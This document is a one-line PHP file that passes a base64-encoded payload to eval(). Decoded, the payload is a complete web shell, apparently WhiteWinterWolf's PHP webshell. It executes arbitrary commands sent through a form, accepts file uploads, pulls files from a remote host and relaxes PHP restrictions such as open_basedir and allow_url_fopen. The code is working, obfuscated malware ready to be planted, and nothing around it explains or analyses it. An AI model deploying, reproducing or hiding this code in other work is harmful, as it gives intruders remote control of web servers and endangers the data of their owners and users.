eval("".base64_decode("PD9waHAKLyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioKICogQ29weXJpZ2h0IDIwMTcgV2hpdGVXaW50ZXJXb2xmCiAqIGh0dHBzOi8vd3d3LndoaXRld2ludGVyd29sZi5jb20vdGFncy9waHAtd2Vic2hlbGwvCiAqCiAqIFRoaXMgZmlsZSBpcyBwYXJ0IG9mIHd3b2xmLXBocC13ZWJzaGVsbC4KICoKICogd3d3b2xmLXBocC13ZWJzaGVsbCBpcyBmcmVlIHNvZnR3YXJlOiB5b3UgY2FuIHJlZGlzdHJpYnV0ZSBpdCBhbmQvb3IgbW9kaWZ5CiAqIGl0IHVuZGVyIHRoZSB0ZXJtcyBvZiB0aGUgR05VIEdlbmVyYWwgUHVibGljIExpY2Vuc2UgYXMgcHVibGlzaGVkIGJ5CiAqIHRoZSBGcmVlIFNvZnR3YXJlIEZvdW5kYXRpb24sIGVpdGhlciB2ZXJzaW9uIDMgb2YgdGhlIExpY2Vuc2UsIG9yCiAqIChhdCB5b3VyIG9wdGlvbikgYW55IGxhdGVyIHZlcnNpb24uCiAqCiAqIFRoaXMgcHJvZ3JhbSBpcyBkaXN0cmlidXRlZCBpbiB0aGUgaG9wZSB0aGF0IGl0IHdpbGwgYmUgdXNlZnVsLAogKiBidXQgV0lUSE9VVCBBTlkgV0FSUkFOVFk7IHdpdGhvdXQgZXZlbiB0aGUgaW1wbGllZCB3YXJyYW50eSBvZgogKiBNRVJDSEFOVEFCSUxJVFkgb3IgRklUTkVTUyBGT1IgQSBQQVJUSUNVTEFSIFBVUlBPU0UuICBTZWUgdGhlCiAqIEdOVSBHZW5lcmFsIFB1YmxpYyBMaWNlbnNlIGZvciBtb3JlIGRldGFpbHMuCiAqCiAqIFlvdSBzaG91bGQgaGF2ZSByZWNlaXZlZCBhIGNvcHkgb2YgdGhlIEdOVSBHZW5lcmFsIFB1YmxpYyBMaWNlbnNlCiAqIGFsb25nIHdpdGggdGhpcyBwcm9ncmFtLiAgSWYgbm90LCBzZWUgPGh0dHA6Ly93d3cuZ251Lm9yZy9saWNlbnNlcy8+LgogKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqLwoKLyoKICogT3B0aW9uYWwgcGFzc3dvcmQgc2V0dGluZ3MuCiAqIFVzZSB0aGUgJ3Bhc3NoYXNoLnNoJyBzY3JpcHQgdG8gZ2VuZXJhdGUgdGhlIGhhc2guCiAqIE5PVEU6IHRoZSBwcm9tcHQgdmFsdWUgaXMgdGllZCB0byB0aGUgaGFzaCEKICovCiRwYXNzcHJvbXB0ID0gIldoaXRlV2ludGVyV29sZidzIFBIUCB3ZWJzaGVsbDogIjsKJHBhc3NoYXNoID0gIiI7CgpmdW5jdGlvbiBlKCRzKSB7IGVjaG8gaHRtbHNwZWNpYWxjaGFycygkcywgRU5UX1FVT1RFUyk7IH0KCmZ1bmN0aW9uIGgoJHMpCnsKCWdsb2JhbCAkcGFzc3Byb21wdDsKCWlmIChmdW5jdGlvbl9leGlzdHMoJ2hhc2hfaG1hYycpKQoJewoJCXJldHVybiBoYXNoX2htYWMoJ3NoYTI1NicsICRzLCAkcGFzc3Byb21wdCk7Cgl9CgllbHNlCgl7CgkJcmV0dXJuIGJpbjJoZXgobWhhc2goTUhBU0hfU0hBMjU2LCAkcywgJHBhc3Nwcm9tcHQpKTsKCX0KfQoKZnVuY3Rpb24gZmV0Y2hfZm9wZW4oJGhvc3QsICRwb3J0LCAkc3JjLCAkZHN0KQp7CglnbG9iYWwgJGVyciwgJG9rOwoJJHJldCA9ICcnOwoJaWYgKHN0cnBvcygkaG9zdCwgJzovLycpID09PSBmYWxzZSkKCXsKCQkkaG9zdCA9ICdodHRwOi8vJyAuICRob3N0OwoJfQoJZWxzZQoJewoJCSRob3N0ID0gc3RyX3JlcGxhY2UoYXJyYXkoJ3NzbDovLycsICd0bHM6Ly8nKSwgJ2h0dHBzOi8vJywgJGhvc3QpOwoJfQoJJHJoID0gZm9wZW4oIiR7aG9zdH06JHtwb3J0fSR7c3JjfSIsICdyYicpOwoJaWYgKCRyaCAhPT0gZmFsc2UpCgl7CgkJJHdoID0gZm9wZW4oJGRzdCwgJ3diJyk7CgkJaWYgKCR3aCAhPT0gZmFsc2UpCgkJewoJCQkkY2J5dGVzID0gMDsKCQkJd2hpbGUgKCEgZmVvZigkcmgpKQoJCQl7CgkJCQkkY2J5dGVzICs9IGZ3cml0ZSgkd2gsIGZyZWFkKCRyaCwgMTAyNCkpOwoJCQl9CgkJCWZjbG9zZSgkd2gpOwoJCQkkcmV0IC49ICIke29rfSBGZXRjaGVkIGZpbGUgPGk+JHtkc3R9PC9pPiAoJHtjYnl0ZXN9IGJ5dGVzKTxiciAvPiI7CgkJfQoJCWVsc2UKCQl7CgkJCSRyZXQgLj0gIiR7ZXJyfSBGYWlsZWQgdG8gb3BlbiBmaWxlIDxpPiR7ZHN0fTwvaT48YnIgLz4iOwoJCX0KCQlmY2xvc2UoJHJoKTsKCX0KCWVsc2UKCXsKCQkkcmV0ID0gIiR7ZXJyfSBGYWlsZWQgdG8gb3BlbiBVUkwgPGk+JHtob3N0fToke3BvcnR9JHtzcmN9PC9pPjxiciAvPiI7Cgl9CglyZXR1cm4gJHJldDsKfQoKZnVuY3Rpb24gZmV0Y2hfc29jaygkaG9zdCwgJHBvcnQsICRzcmMsICRkc3QpCnsKCWdsb2JhbCAkZXJyLCAkb2s7CgkkcmV0ID0gJyc7CgkkaG9zdCA9IHN0cl9yZXBsYWNlKCdodHRwczovLycsICd0bHM6Ly8nLCAkaG9zdCk7CgkkcyA9IGZzb2Nrb3BlbigkaG9zdCwgJHBvcnQpOwoJaWYgKCRzKQoJewoJCSRmID0gZm9wZW4oJGRzdCwgJ3diJyk7CgkJaWYgKCRmKQoJCXsKCQkJJGJ1ZiA9ICcnOwoJCQkkciA9IGFycmF5KCRzKTsKCQkJJHcgPSBOVUxMOwoJCQkkZSA9IE5VTEw7CgkJCWZ3cml0ZSgkcywgIkdFVCAke3NyY30gSFRUUC8xLjBcclxuXHJcbiIpOwoJCQl3aGlsZSAoc3RyZWFtX3NlbGVjdCgkciwgJHcsICRlLCA1KSAmJiAhZmVvZigkcykpCgkJCXsKCQkJCSRidWYgLj0gZnJlYWQoJHMsIDEwMjQpOwoJCQl9CgkJCSRidWYgPSBzdWJzdHIoJGJ1Ziwgc3RycG9zKCRidWYsICJcclxuXHJcbiIpICsgNCk7CgkJCWZ3cml0ZSgkZiwgJGJ1Zik7CgkJCWZjbG9zZSgkZik7CgkJCSRyZXQgLj0gIiR7b2t9IEZldGNoZWQgZmlsZSA8aT4ke2RzdH08L2k+ICgiIC4gc3RybGVuKCRidWYpIC4gIiBieXRlcyk8YnIgLz4iOwoJCX0KCQllbHNlCgkJewoJCQkkcmV0IC49ICIke2Vycn0gRmFpbGVkIHRvIG9wZW4gZmlsZSA8aT4ke2RzdH08L2k+PGJyIC8+IjsKCQl9CgkJZmNsb3NlKCRzKTsKCX0KCWVsc2UKCXsKCQkkcmV0IC49ICIke2Vycn0gRmFpbGVkIHRvIGNvbm5lY3QgdG8gPGk+JHtob3N0fToke3BvcnR9PC9pPjxiciAvPiI7Cgl9CglyZXR1cm4gJHJldDsKfQoKaW5pX3NldCgnbG9nX2Vycm9ycycsICcwJyk7CmluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgJzEnKTsKZXJyb3JfcmVwb3J0aW5nKEVfQUxMKTsKCndoaWxlIChAIG9iX2VuZF9jbGVhbigpKTsKCmlmICghIGlzc2V0KCRfU0VSVkVSKSkKewoJZ2xvYmFsICRIVFRQX1BPU1RfRklMRVMsICRIVFRQX1BPU1RfVkFSUywgJEhUVFBfU0VSVkVSX1ZBUlM7CgkkX0ZJTEVTID0gJiRIVFRQX1BPU1RfRklMRVM7CgkkX1BPU1QgPSAmJEhUVFBfUE9TVF9WQVJTOwoJJF9TRVJWRVIgPSAmJEhUVFBfU0VSVkVSX1ZBUlM7Cn0KCiRhdXRoID0gJyc7CiRjbWQgPSBlbXB0eSgkX1BPU1RbJ2NtZCddKSA/ICcnIDogJF9QT1NUWydjbWQnXTsKJGN3ZCA9IGVtcHR5KCRfUE9TVFsnY3dkJ10pID8gZ2V0Y3dkKCkgOiAkX1BPU1RbJ2N3ZCddOwokZmV0Y2hfZnVuYyA9ICdmZXRjaF9mb3Blbic7CiRmZXRjaF9ob3N0ID0gZW1wdHkoJF9QT1NUWydmZXRjaF9ob3N0J10pID8gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gOiAkX1BPU1RbJ2ZldGNoX2hvc3QnXTsKJGZldGNoX3BhdGggPSBlbXB0eSgkX1BPU1RbJ2ZldGNoX3BhdGgnXSkgPyAnJyA6ICRfUE9TVFsnZmV0Y2hfcGF0aCddOwokZmV0Y2hfcG9ydCA9IGVtcHR5KCRfUE9TVFsnZmV0Y2hfcG9ydCddKSA/ICc4MCcgOiAkX1BPU1RbJ2ZldGNoX3BvcnQnXTsKJHBhc3MgPSBlbXB0eSgkX1BPU1RbJ3Bhc3MnXSkgPyAnJyA6ICRfUE9TVFsncGFzcyddOwokdXJsID0gJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ107CiRzdGF0dXMgPSAnJzsKJG9rID0gJyYjOTc4NjsgOic7CiR3YXJuID0gJyYjOTg4ODsgOic7CiRlcnIgPSAnJiM5Nzg1OyA6JzsKCmlmICghIGVtcHR5KCRwYXNzaGFzaCkpCnsKCWlmIChmdW5jdGlvbl9leGlzdHMoJ2hhc2hfaG1hYycpIHx8IGZ1bmN0aW9uX2V4aXN0cygnbWhhc2gnKSkKCXsKCQkkYXV0aCA9IGVtcHR5KCRfUE9TVFsnYXV0aCddKSA/IGgoJHBhc3MpIDogJF9QT1NUWydhdXRoJ107CgkJaWYgKGgoJGF1dGgpICE9PSAkcGFzc2hhc2gpCgkJewoJCQk/PgoJCQkJPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249Ijw/cGhwIGUoJHVybCk7ID8+Ij4KCQkJCQk8P3BocCBlKCRwYXNzcHJvbXB0KTsgPz4KCQkJCQk8aW5wdXQgdHlwZT0icGFzc3dvcmQiIHNpemU9IjE1IiBuYW1lPSJwYXNzIj4KCQkJCQk8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU2VuZCI+CgkJCQk8L2Zvcm0+CgkJCTw/cGhwCgkJCWV4aXQ7CgkJfQoJfQoJZWxzZQoJewoJCSRzdGF0dXMgLj0gIiR7d2Fybn0gQXV0aGVudGljYXRpb24gZGlzYWJsZWQgKCdtaGFzaCgpJyBtaXNzaW5nKS48YnIgLz4iOwoJfQp9CgppZiAoISBpbmlfZ2V0KCdhbGxvd191cmxfZm9wZW4nKSkKewoJaW5pX3NldCgnYWxsb3dfdXJsX2ZvcGVuJywgJzEnKTsKCWlmICghIGluaV9nZXQoJ2FsbG93X3VybF9mb3BlbicpKQoJewoJCWlmIChmdW5jdGlvbl9leGlzdHMoJ3N0cmVhbV9zZWxlY3QnKSkKCQl7CgkJCSRmZXRjaF9mdW5jID0gJ2ZldGNoX3NvY2snOwoJCX0KCQllbHNlCgkJewoJCQkkZmV0Y2hfZnVuYyA9ICcnOwoJCQkkc3RhdHVzIC49ICIke3dhcm59IEZpbGUgZmV0Y2hpbmcgZGlzYWJsZWQgKCdhbGxvd191cmxfZm9wZW4nIgoJCQkJLiAiIGRpc2FibGVkIGFuZCAnc3RyZWFtX3NlbGVjdCgpJyBtaXNzaW5nKS48YnIgLz4iOwoJCX0KCX0KfQppZiAoISBpbmlfZ2V0KCdmaWxlX3VwbG9hZHMnKSkKewoJaW5pX3NldCgnZmlsZV91cGxvYWRzJywgJzEnKTsKCWlmICghIGluaV9nZXQoJ2ZpbGVfdXBsb2FkcycpKQoJewoJCSRzdGF0dXMgLj0gIiR7d2Fybn0gRmlsZSB1cGxvYWRzIGRpc2FibGVkLjxiciAvPiI7Cgl9Cn0KaWYgKGluaV9nZXQoJ29wZW5fYmFzZWRpcicpICYmICEgaW5pX3NldCgnb3Blbl9iYXNlZGlyJywgJycpKQp7Cgkkc3RhdHVzIC49ICIke3dhcm59IG9wZW5fYmFzZWRpciA9ICIgLiBpbmlfZ2V0KCdvcGVuX2Jhc2VkaXInKSAuICI8YnIgLz4iOwp9CgppZiAoISBjaGRpcigkY3dkKSkKewogICRjd2QgPSBnZXRjd2QoKTsKfQoKaWYgKCEgZW1wdHkoJGZldGNoX2Z1bmMpICYmICEgZW1wdHkoJGZldGNoX3BhdGgpKQp7CgkkZHN0ID0gJGN3ZCAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiBiYXNlbmFtZSgkZmV0Y2hfcGF0aCk7Cgkkc3RhdHVzIC49ICRmZXRjaF9mdW5jKCRmZXRjaF9ob3N0LCAkZmV0Y2hfcG9ydCwgJGZldGNoX3BhdGgsICRkc3QpOwp9CgppZiAoaW5pX2dldCgnZmlsZV91cGxvYWRzJykgJiYgISBlbXB0eSgkX0ZJTEVTWyd1cGxvYWQnXSkpCnsKCSRkZXN0ID0gJGN3ZCAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiBiYXNlbmFtZSgkX0ZJTEVTWyd1cGxvYWQnXVsnbmFtZSddKTsKCWlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1sndXBsb2FkJ11bJ3RtcF9uYW1lJ10sICRkZXN0KSkKCXsKCQkkc3RhdHVzIC49ICIke29rfSBVcGxvYWRlZCBmaWxlIDxpPiR7ZGVzdH08L2k+ICgiIC4gJF9GSUxFU1sndXBsb2FkJ11bJ3NpemUnXSAuICIgYnl0ZXMpPGJyIC8+IjsKCX0KfQo/PgoKPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249Ijw/cGhwIGUoJHVybCk7ID8+IgoJPD9waHAgaWYgKGluaV9nZXQoJ2ZpbGVfdXBsb2FkcycpKTogPz4KCQllbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIgoJPD9waHAgZW5kaWY7ID8+Cgk+Cgk8P3BocCBpZiAoISBlbXB0eSgkcGFzc2hhc2gpKTogPz4KCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhdXRoIiB2YWx1ZT0iPD9waHAgZSgkYXV0aCk7ID8+Ij4KCTw/cGhwIGVuZGlmOyA/PgoJPHRhYmxlIGJvcmRlcj0iMCI+CgkJPD9waHAgaWYgKCEgZW1wdHkoJGZldGNoX2Z1bmMpKTogPz4KCQkJPHRyPjx0ZD4KCQkJCTxiPkZldGNoOjwvYj4KCQkJPC90ZD48dGQ+CgkJCQlob3N0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMTUiIGlkPSJmZXRjaF9ob3N0IiBuYW1lPSJmZXRjaF9ob3N0IiB2YWx1ZT0iPD9waHAgZSgkZmV0Y2hfaG9zdCk7ID8+Ij4KCQkJCXBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI0IiBpZD0iZmV0Y2hfcG9ydCIgbmFtZT0iZmV0Y2hfcG9ydCIgdmFsdWU9Ijw/cGhwIGUoJGZldGNoX3BvcnQpOyA/PiI+CgkJCQlwYXRoOiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNDAiIGlkPSJmZXRjaF9wYXRoIiBuYW1lPSJmZXRjaF9wYXRoIiB2YWx1ZT0iIj4KCQkJPC90ZD48L3RyPgoJCTw/cGhwIGVuZGlmOyA/PgoJCTx0cj48dGQ+CgkJCTxiPkNXRDo8L2I+CgkJPC90ZD48dGQ+CgkJCTxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI1MCIgaWQ9ImN3ZCIgbmFtZT0iY3dkIiB2YWx1ZT0iPD9waHAgZSgkY3dkKTsgPz4iPgoJCQk8P3BocCBpZiAoaW5pX2dldCgnZmlsZV91cGxvYWRzJykpOiA/PgoJCQkJPGI+VXBsb2FkOjwvYj4gPGlucHV0IHR5cGU9ImZpbGUiIGlkPSJ1cGxvYWQiIG5hbWU9InVwbG9hZCI+CgkJCTw/cGhwIGVuZGlmOyA/PgoJCTwvdGQ+PC90cj4KCQk8dHI+PHRkPgoJCQk8Yj5DbWQ6PC9iPgoJCTwvdGQ+PHRkPgoJCQk8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iODAiIGlkPSJjbWQiIG5hbWU9ImNtZCIgdmFsdWU9Ijw/cGhwIGUoJGNtZCk7ID8+Ij4KCQk8L3RkPjwvdHI+CgkJPHRyPjx0ZD4KCQk8L3RkPjx0ZD4KCQkJPHN1cD48YSBocmVmPSIjIiBvbmNsaWNrPSJjbWQudmFsdWU9Jyc7IGNtZC5mb2N1cygpOyByZXR1cm4gZmFsc2U7Ij5DbGVhciBjbWQ8L2E+PC9zdXA+CgkJPC90ZD48L3RyPgoJCTx0cj48dGQgY29sc3Bhbj0iMiIgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsiPgoJCQk8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRXhlY3V0ZSIgc3R5bGU9InRleHQtYWxpZ246IHJpZ2h0OyI+CgkJPC90ZD48L3RyPgoJPC90YWJsZT4KCQo8L2Zvcm0+CjxociAvPgoKPD9waHAKaWYgKCEgZW1wdHkoJHN0YXR1cykpCnsKCWVjaG8gIjxwPiR7c3RhdHVzfTwvcD4iOwp9CgplY2hvICI8cHJlPiI7CmlmICghIGVtcHR5KCRjbWQpKQp7CgllY2hvICI8Yj4iOwoJZSgkY21kKTsKCWVjaG8gIjwvYj5cbiI7CglpZiAoRElSRUNUT1JZX1NFUEFSQVRPUiA9PSAnLycpCgl7CgkJJHAgPSBwb3BlbignZXhlYyAyPiYxOyAnIC4gJGNtZCwgJ3InKTsKCX0KCWVsc2UKCXsKCQkkcCA9IHBvcGVuKCdjbWQgL0MgIicgLiAkY21kIC4gJyIgMj4mMScsICdyJyk7Cgl9Cgl3aGlsZSAoISBmZW9mKCRwKSkKCXsKCQllY2hvIGh0bWxzcGVjaWFsY2hhcnMoZnJlYWQoJHAsIDQwOTYpLCBFTlRfUVVPVEVTKTsKCQlAIGZsdXNoKCk7Cgl9Cn0KZWNobyAiPC9wcmU+IjsKCmV4aXQ7Cj8+Cg=="));